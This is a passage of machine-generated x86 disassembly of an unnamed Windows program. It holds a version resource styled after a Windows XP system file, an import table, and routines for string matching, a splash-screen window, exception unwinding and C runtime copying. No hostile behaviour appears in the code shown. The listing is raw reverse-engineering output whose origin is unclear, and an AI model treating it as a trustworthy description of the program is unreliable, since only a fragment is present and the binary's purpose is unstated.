0FFFFh, 0FFFFFFh, 2 dup(0FF0000FFh), 0 dd 0E00Eh, 2 dup(0E0h), 0E0EEh, 0E0h, 2 dup(0EE0h), 2 dup(0F0EFEEh) dd 0F0FFFFEFh, 0F0FFFF0Fh, 0EF00FC0h, 0CF00F00h, 0E00C0CCh dd 0CC0C0000h, 0EE0CCCCh, 0C4CC0000h, 0EEE0CCCCh, 4CCC0000h dd 0EEECCC4h, 0CCC40000h, 0FE0444Ch, 0C4CC00F0h, 0FF0F4444h dd 4444F0FFh, 0F404444h, 444404F0h, 40444444h, 44444404h dd 10h dup(0) dd 0C7A8h, 10000h, 20200002h, 10010h, 2E80004h, 10000h dd 101010h, 40001h, 128h, 2, 0C7CCh, 34030Ch, 560000h dd 5F0053h, 450056h, 530052h, 4F0049h, 5F004Eh, 4E0049h dd 4F0046h, 0 dd 0FEEF04BDh, 10000h, 50001h, 0A280884h, 50001h, 0A280884h dd 3Fh, 0 dd 4, 1, 3 dup(0) dd 26Ch, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 248h, 300001h, 300034h, 300039h, 620034h dd 30h, 18h, 430001h, 6D006Fh, 65006Dh, 74006Eh, 73h, 20h dd 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh, 65006Dh dd 0 dd 28h, 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h dd 690074h, 6E006Fh, 0 dd 0E003Ch, 460001h, 6C0069h, 560065h, 720065h, 690073h dd 6E006Fh, 0 a5_1_2600_2180: unicode 0, <5.1.2600.2180>,0 unicode 0, < >,0 dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 13004Ah, 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h dd 690072h, 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h dd 200074h, 430028h, 200029h, 300032h, 370030h, 0 dd 28h, 4C0001h, 670065h, 6C0061h, 720054h, 640061h, 6D0065h dd 720061h, 73006Bh, 0 dd 28h, 4F0001h, 690072h, 690067h, 61006Eh, 46006Ch, 6C0069h dd 6E0065h, 6D0061h, 65h, 20h, 500001h, 690072h, 610076h dd 650074h, 750042h, 6C0069h, 64h, 20h, 500001h, 6F0072h dd 750064h, 740063h, 61004Eh, 65006Dh, 0 dd 290076h, 500001h, 6F0072h, 750064h, 740063h, 650056h dd 730072h, 6F0069h, 6Eh, 2E0035h, 2E0031h, 360032h, 300030h dd 32002Eh, 380031h, 200030h, 780028h, 730070h, 5F0070h dd 700073h, 5F0032h, 740072h, 2E006Dh, 340030h, 380030h dd 330030h, 32002Dh, 350031h, 290038h, 0 dd 20h, 530001h, 650070h, 690063h, 6C0061h, 750042h, 6C0069h dd 64h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h dd 6F0066h, 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 0 dd 0FFFFFFFEh, 0 dd 0F9B0h, 0F974h, 0 dd 0FFFFFFFEh, 0 dd 0F9BDh, 0F988h, 0 dd 0FFFFFFFEh, 0 ; --------------------------------------------------------------------------- retf 0F9h ; --------------------------------------------------------------------------- align 10h db 90h db 0F9h, 2 dup(0) align 8 dd 0FFFFFFFEh, 0 dd 0F9D4h, 0F998h, 0 dd 0FFFFFFFEh, 0 dd 0F9DFh, 0F9A0h, 0 dd 0FFFFFFFEh, 0 dd 0F9EAh, 0F9A8h, 5 dup(0) dd offset sub_41E15D dd offset sub_41E33E dd 77E6169Ah, 41D6FEh, 0 dd 77DD189Ah, 0 dd 73E3A49Dh, 0 dd 77C37ADCh, 0 dd 77CC7CB6h, 0 dd 71AB6738h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 464D006Ch, 2E323443h, 4C4C44h, 4356534Dh dd 642E5452h, 52006C6Ch, 54524350h, 6C642E34h, 5357006Ch dd 32335F32h, 6C6C642Eh, 6F4C0000h, 694C6461h, 72617262h dd 4179h, 50746547h, 41636F72h, 65726464h, 7373h, 74726956h dd 506C6175h, 65746F72h, 7463h, 74697845h, 636F7250h, 737365h dd 65520000h, 6F6C4367h, 654B6573h, 79h, 74697865h, 75550000h dd 72436469h, 65746165h, 53570000h, 756E4543h, 6F72506Dh dd 6F636F74h, 736Ch, 167h dup(0) _2 ends ; Section 4. (virtual address 00010000) ; Virtual size : 00010D8F ( 69007.) ; Section size in file : 00010D8F ( 69007.) ; Offset to raw data for section: 00010000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _3 segment para public 'CODE' use32 assume cs:_3 ;org 410000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410000 proc near ; CODE XREF: sub_41365E+84p ; sub_41396C+333p ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4212D8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov esi, ecx mov [ebp+var_1C], esi lea eax, [esi+10h] push eax call ds:dword_42101C ; RtlEnterCriticalSection and [ebp+var_4], 0 push [ebp+arg_4] push [ebp+arg_0] mov ecx, esi call sub_41EC69 or [ebp+var_4], 0FFFFFFFFh call sub_410060 loc_41004C: ; DATA XREF: _0:off_401240o ; _0:off_401264o mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_410000 endp ; =============== S U B R O U T I N E ======================================= sub_41005D proc near ; DATA XREF: _4:004212E0o mov esi, [ebp-1Ch] sub_41005D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410060 proc near ; CODE XREF: sub_410000+47p add esi, 10h push esi call ds:dword_421018 ; RtlLeaveCriticalSection retn sub_410060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41006B proc near ; CODE XREF: sub_413186+9Bp ; sub_413186+C4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_4] push edi test edx, edx jz short loc_41007D mov edi, [ebp+arg_0] test edi, edi jnz short loc_410081 loc_41007D: ; CODE XREF: sub_41006B+9j xor eax, eax jmp short loc_4100D3 ; --------------------------------------------------------------------------- loc_410081: ; CODE XREF: sub_41006B+10j cmp byte ptr [edx], 0 jnz short loc_41008F xor eax, eax cmp [edi], al setz al jmp short loc_4100D3 ; --------------------------------------------------------------------------- loc_41008F: ; CODE XREF: sub_41006B+19j push ebx push esi mov esi, offset dword_423BBC mov eax, edi loc_410098: ; CODE XREF: sub_41006B+49j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_4100BA test cl, cl jz short loc_4100B6 mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_4100BA inc eax inc eax inc esi inc esi test cl, cl jnz short loc_410098 loc_4100B6: ; CODE XREF: sub_41006B+37j xor eax, eax jmp short loc_4100BF ; --------------------------------------------------------------------------- loc_4100BA: ; CODE XREF: sub_41006B+33j ; sub_41006B+41j sbb eax, eax sbb eax, 0FFFFFFFFh loc_4100BF: ; CODE XREF: sub_41006B+4Dj pop esi pop ebx test eax, eax jnz short loc_4100CA mov edi, offset dword_423BB8 loc_4100CA: ; CODE XREF: sub_41006B+58j push edx push edi call sub_4100D6 pop ecx pop ecx loc_4100D3: ; CODE XREF: sub_41006B+14j ; sub_41006B+22j pop edi pop ebp retn sub_41006B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100D6 proc near ; CODE XREF: sub_41006B+61p ; sub_4100D6+70p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov al, [ebx] push edi test al, al jz short loc_410120 loc_4100E8: ; CODE XREF: sub_4100D6+48j movsx edi, byte ptr [esi] movsx eax, al inc ebx cmp eax, 2Ah jz short loc_410130 cmp eax, 3Fh jz short loc_410115 push eax call sub_41072E mov edx, eax push edi mov [ebp+arg_4], edx call sub_41072E pop ecx pop ecx mov ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_41012C jmp short loc_410119 ; --------------------------------------------------------------------------- loc_410115: ; CODE XREF: sub_4100D6+21j test edi, edi jz short loc_41012C loc_410119: ; CODE XREF: sub_4100D6+3Dj mov al, [ebx] inc esi test al, al jnz short loc_4100E8 loc_410120: ; CODE XREF: sub_4100D6+10j xor eax, eax cmp [esi], al setz al loc_410127: ; CODE XREF: sub_4100D6+58j ; sub_4100D6+86j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41012C: ; CODE XREF: sub_4100D6+3Bj ; sub_4100D6+41j ... xor eax, eax jmp short loc_410127 ; --------------------------------------------------------------------------- loc_410130: ; CODE XREF: sub_4100D6+1Cj xor edi, edi cmp byte ptr [esi], 0 jz short loc_410142 loc_410137: ; CODE XREF: sub_4100D6+66j inc edi cmp byte ptr [edi+esi], 0 jnz short loc_410137 test edi, edi jl short loc_41012C loc_410142: ; CODE XREF: sub_4100D6+5Fj add esi, edi loc_410144: ; CODE XREF: sub_4100D6+7Fj push esi push ebx call sub_4100D6 pop ecx test eax, eax pop ecx jnz short loc_410159 dec edi dec esi test edi, edi jge short loc_410144 jmp short loc_41012C ; --------------------------------------------------------------------------- loc_410159: ; CODE XREF: sub_4100D6+79j push 1 pop eax jmp short loc_410127 sub_4100D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41015E proc near ; DATA XREF: sub_410253+36o var_60 = dword ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 60h push edi cmp [ebp+arg_4], 0Fh jnz loc_4101FF and [ebp+var_20], 0 xor eax, eax lea edi, [ebp+var_1C] stosd stosd stosd stosd stosd lea eax, [ebp+var_20] push eax push 18h push ds:dword_4289B0 call ds:dword_424778 ; GetObjectA lea eax, [ebp+var_60] push eax push [ebp+arg_0] call ds:dword_424770 ; BeginPaint push [ebp+var_60] call ds:dword_424760 ; CreateCompatibleDC mov [ebp+var_8], eax push ds:dword_4289B0 push [ebp+var_8] call ds:dword_42477C ; SelectObject mov [ebp+var_4], eax push 0CC0020h push 0 push 0 push [ebp+var_8] push [ebp+var_18] push [ebp+var_1C] push 0 push 0 push [ebp+var_60] call ds:dword_424784 ; BitBlt push [ebp+var_4] push [ebp+var_8] call ds:dword_42477C ; SelectObject push [ebp+var_8] call ds:dword_424768 ; DeleteDC lea eax, [ebp+var_60] push eax push [ebp+arg_0] call ds:dword_424774 ; EndPaint xor eax, eax jmp short loc_410211 ; --------------------------------------------------------------------------- loc_4101FF: ; CODE XREF: sub_41015E+Bj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42104C ; DefWindowProcA loc_410211: ; CODE XREF: sub_41015E+9Fj pop edi leave retn 10h sub_41015E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410216 proc near ; DATA XREF: sub_410253+121o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call ds:dword_424788 ; GetWindowThreadProcessId call ds:dword_424668 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_41024C push [ebp+arg_0] call ds:dword_42478C ; SetActiveWindow push [ebp+arg_0] call ds:dword_424790 ; SetForegroundWindow xor eax, eax jmp short locret_41024F ; --------------------------------------------------------------------------- loc_41024C: ; CODE XREF: sub_410216+1Ej push 1 pop eax locret_41024F: ; CODE XREF: sub_410216+34j leave retn 8 sub_410216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410253 proc near ; DATA XREF: sub_410386+3Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push edi mov eax, [ebp+arg_0] mov ds:dword_4289B0, eax and [ebp+var_24], 0 xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd stosd stosd lea eax, [ebp+var_24] push eax push 18h push [ebp+arg_0] call ds:dword_424778 ; GetObjectA mov ds:dword_4289C0, 30h mov ds:dword_4289C8, offset sub_41015E mov ds:dword_4289E8, offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}" push 0 call ds:dword_424698 ; GetModuleHandleA mov ds:dword_4289D4, eax push offset dword_4289C0 call ds:dword_424794 ; RegisterClassExA push 10h call ds:dword_424798 ; GetSystemMetrics mov [ebp+var_C], eax push 11h call ds:dword_424798 ; GetSystemMetrics mov [ebp+var_8], eax push 0 push 0 push 0 push 0 push [ebp+var_1C] push [ebp+var_20] mov eax, [ebp+var_8] sub eax, [ebp+var_1C] cdq sub eax, edx sar eax, 1 push eax mov eax, [ebp+var_C] sub eax, [ebp+var_20] cdq sub eax, edx sar eax, 1 push eax push 98800000h push offset dword_424898 push offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}" push 0 call ds:dword_42479C ; CreateWindowExA mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ds:dword_4289B4, eax loc_410313: ; CODE XREF: sub_410253+F9j push 0 push 0 push [ebp+var_4] lea eax, [ebp+var_40] push eax call ds:dword_4247A0 ; GetMessageA test eax, eax jz short loc_41034E mov eax, [ebp+var_40] cmp eax, [ebp+var_4] jnz short loc_410338 cmp [ebp+var_3C], 0 jnz short loc_410338 jmp short loc_41034E ; --------------------------------------------------------------------------- loc_410338: ; CODE XREF: sub_410253+DBj ; sub_410253+E1j lea eax, [ebp+var_40] push eax call ds:dword_4247A4 ; TranslateMessage lea eax, [ebp+var_40] push eax call ds:dword_4247A8 ; DispatchMessageA jmp short loc_410313 ; --------------------------------------------------------------------------- loc_41034E: ; CODE XREF: sub_410253+D3j ; sub_410253+E3j push 3E8h call ds:dword_424714 ; Sleep push [ebp+var_4] call ds:dword_4247AC ; DestroyWindow and ds:dword_4289B4, 0 push [ebp+arg_0] call ds:dword_424780 ; DeleteObject push 0 push offset sub_410216 call ds:dword_4247B0 ; EnumWindows xor eax, eax pop edi leave retn 4 sub_410253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410386 proc near ; CODE XREF: sub_418780+17p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push 0 lea eax, [ebp+var_4] push eax push 3 push 80000000h push offset a_splashscreen_ ; "_splashscreen.bmp" call sub_414344 test eax, eax jz short locret_4103E3 push [ebp+var_4] call sub_418F16 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4103D9 push offset dword_4289B8 push 0 push [ebp+var_8] push offset sub_410253 push 0 push 0 call ds:dword_4247BC ; CreateThread push 64h call ds:dword_424714 ; Sleep loc_4103D9: ; CODE XREF: sub_410386+30j push 0 push [ebp+var_4] call sub_41473F locret_4103E3: ; CODE XREF: sub_410386+1Ej leave retn sub_410386 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103E8 proc near ; CODE XREF: sub_4104E0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_410400 push [ebp+arg_0] call sub_410F00 ; RtlUnwind loc_410400: ; DATA XREF: sub_4103E8+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4103E8 endp ; =============== S U B R O U T I N E ======================================= sub_410408 proc near ; DATA XREF: sub_41042A+Ao ; _3:0041049Bo arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_410429 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_410429: ; CODE XREF: sub_410408+10j retn sub_410408 endp ; =============== S U B R O U T I N E ======================================= sub_41042A proc near ; CODE XREF: sub_4104E0+67p ; sub_4104E0+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_410408 push large dword ptr fs:0 mov large fs:0, esp loc_410447: ; CODE XREF: sub_41042A:loc_410482j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_410484 cmp esi, [esp+1Ch+arg_4] jz short loc_410484 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_410482 push 101h mov eax, [ebx+esi*4+8] call sub_4104BE call dword ptr [ebx+esi*4+8] loc_410482: ; CODE XREF: sub_41042A+44j jmp short loc_410447 ; --------------------------------------------------------------------------- loc_410484: ; CODE XREF: sub_41042A+2Aj ; sub_41042A+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41042A endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_410408 jnz short locret_4104B4 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4104B4 mov eax, 1 locret_4104B4: ; CODE XREF: _3:004104A2j _3:004104ADj retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_4243B8 jmp short loc_4104C8 ; =============== S U B R O U T I N E ======================================= sub_4104BE proc near ; CODE XREF: sub_41042A+4Fp ; sub_4104E0+78p push ebx push ecx mov ebx, offset dword_4243B8 mov ecx, [ebp+8] loc_4104C8: ; CODE XREF: _3:004104BCj mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4104BE endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104E0 proc near ; DATA XREF: sub_410000+Ao ; sub_410A10+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_410580 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_410513: ; CODE XREF: sub_4104E0+90j cmp esi, 0FFFFFFFFh jz short loc_410579 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_410567 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_410567 js short loc_410572 mov edi, [ebx+8] push ebx call sub_4103E8 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41042A add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4104BE mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_410567: ; CODE XREF: sub_4104E0+40j ; sub_4104E0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_410513 ; --------------------------------------------------------------------------- loc_410572: ; CODE XREF: sub_4104E0+54j mov eax, 0 jmp short loc_410595 ; --------------------------------------------------------------------------- loc_410579: ; CODE XREF: sub_4104E0+36j mov eax, 1 jmp short loc_410595 ; --------------------------------------------------------------------------- loc_410580: ; CODE XREF: sub_4104E0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41042A add esp, 8 pop ebp mov eax, 1 loc_410595: ; CODE XREF: sub_4104E0+97j ; sub_4104E0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4104E0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41042A add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105C0 proc near ; CODE XREF: sub_413186+2Ap ; sub_413272+FBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_4105E1 xor eax, eax jmp short loc_4105E3 ; --------------------------------------------------------------------------- loc_4105E1: ; CODE XREF: sub_4105C0+1Bj mov eax, edi loc_4105E3: ; CODE XREF: sub_4105C0+1Fj cld pop edi leave retn sub_4105C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105F0 proc near ; CODE XREF: sub_41553D+145p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_410621 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41061F jz short loc_410621 dec ecx dec ecx loc_41061F: ; CODE XREF: sub_4105F0+29j not ecx loc_410621: ; CODE XREF: sub_4105F0+9j ; sub_4105F0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_4105F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410630 proc near ; CODE XREF: sub_415B59+1AFp ; sub_415B59+434p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_4106B3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_410654 shr ecx, 2 jnz short loc_4106C1 jmp short loc_410675 ; --------------------------------------------------------------------------- loc_410654: ; CODE XREF: sub_410630+1Bj ; sub_410630+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_410682 test al, al jz short loc_41068A test esi, 3 jnz short loc_410654 mov ebx, ecx shr ecx, 2 jnz short loc_4106C1 loc_410670: ; CODE XREF: sub_410630+8Fj and ebx, 3 jz short loc_410682 loc_410675: ; CODE XREF: sub_410630+22j ; sub_410630+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4106AE dec ebx jnz short loc_410675 loc_410682: ; CODE XREF: sub_410630+2Bj ; sub_410630+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41068A: ; CODE XREF: sub_410630+2Fj test edi, 3 jz short loc_4106A4 loc_410692: ; CODE XREF: sub_410630+72j mov [edi], al inc edi dec ecx jz loc_410726 test edi, 3 jnz short loc_410692 loc_4106A4: ; CODE XREF: sub_410630+60j mov ebx, ecx shr ecx, 2 jnz short loc_410717 loc_4106AB: ; CODE XREF: sub_410630+7Fj ; sub_410630+F4j mov [edi], al inc edi loc_4106AE: ; CODE XREF: sub_410630+4Dj dec ebx jnz short loc_4106AB pop ebx pop esi loc_4106B3: ; CODE XREF: sub_410630+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4106B9: ; CODE XREF: sub_410630+A9j ; sub_410630+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_410670 loc_4106C1: ; CODE XREF: sub_410630+20j ; sub_410630+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4106B9 test dl, dl jz short loc_41070B test dh, dh jz short loc_410701 test edx, 0FF0000h jz short loc_4106F7 test edx, 0FF000000h jnz short loc_4106B9 mov [edi], edx jmp short loc_41070F ; --------------------------------------------------------------------------- loc_4106F7: ; CODE XREF: sub_410630+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41070F ; --------------------------------------------------------------------------- loc_410701: ; CODE XREF: sub_410630+B1j and edx, 0FFh mov [edi], edx jmp short loc_41070F ; --------------------------------------------------------------------------- loc_41070B: ; CODE XREF: sub_410630+ADj xor edx, edx mov [edi], edx loc_41070F: ; CODE XREF: sub_410630+C5j ; sub_410630+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_410721 loc_410717: ; CODE XREF: sub_410630+79j xor eax, eax loc_410719: ; CODE XREF: sub_410630+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_410719 loc_410721: ; CODE XREF: sub_410630+E5j and ebx, 3 jnz short loc_4106AB loc_410726: ; CODE XREF: sub_410630+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_410630 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41072E proc near ; CODE XREF: sub_4100D6+24p ; sub_4100D6+2Fp ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_429054, 0 push ebx push esi push edi jnz short loc_41075B mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4107F4 cmp eax, 5Ah jg loc_4107F4 add eax, 20h jmp loc_4107F4 ; --------------------------------------------------------------------------- loc_41075B: ; CODE XREF: sub_41072E+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41078F cmp ds:dword_4245DC, esi jle short loc_41077D push esi push ebx call sub_410C5F pop ecx pop ecx jmp short loc_410787 ; --------------------------------------------------------------------------- loc_41077D: ; CODE XREF: sub_41072E+42j mov eax, ds:off_4243D0 mov al, [eax+ebx*2] and eax, esi loc_410787: ; CODE XREF: sub_41072E+4Dj test eax, eax jnz short loc_41078F loc_41078B: ; CODE XREF: sub_41072E+ADj mov eax, ebx jmp short loc_4107F4 ; --------------------------------------------------------------------------- loc_41078F: ; CODE XREF: sub_41072E+3Aj ; sub_41072E+5Bj mov edx, ds:off_4243D0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4107B3 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4107BC ; --------------------------------------------------------------------------- loc_4107B3: ; CODE XREF: sub_41072E+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4107BC: ; CODE XREF: sub_41072E+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_429054 call sub_410A10 add esp, 20h test eax, eax jz short loc_41078B cmp eax, esi jnz short loc_4107E7 movzx eax, [ebp+var_4] jmp short loc_4107F4 ; --------------------------------------------------------------------------- loc_4107E7: ; CODE XREF: sub_41072E+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4107F4: ; CODE XREF: sub_41072E+16j ; sub_41072E+1Fj ... pop edi pop esi pop ebx leave retn sub_41072E endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_410810 loc_410800: ; CODE XREF: sub_410810+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_410810 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410810 proc near ; CODE XREF: sub_41C106+AFp ; sub_41C106+122p arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00410800 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41083B loc_410828: ; CODE XREF: sub_410810+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_410800 test cl, cl jz short loc_410884 test edx, 3 jnz short loc_410828 loc_41083B: ; CODE XREF: sub_410810+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_410846: ; CODE XREF: sub_410810+61j ; sub_410810+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_410888 and eax, 81010100h jz short loc_410846 and eax, 1010100h jnz short loc_410882 and esi, 80000000h jnz short loc_410846 loc_410882: ; CODE XREF: sub_410810+68j ; sub_410810+81j ... pop esi pop edi loc_410884: ; CODE XREF: sub_410810+21j pop ebx xor eax, eax retn ; 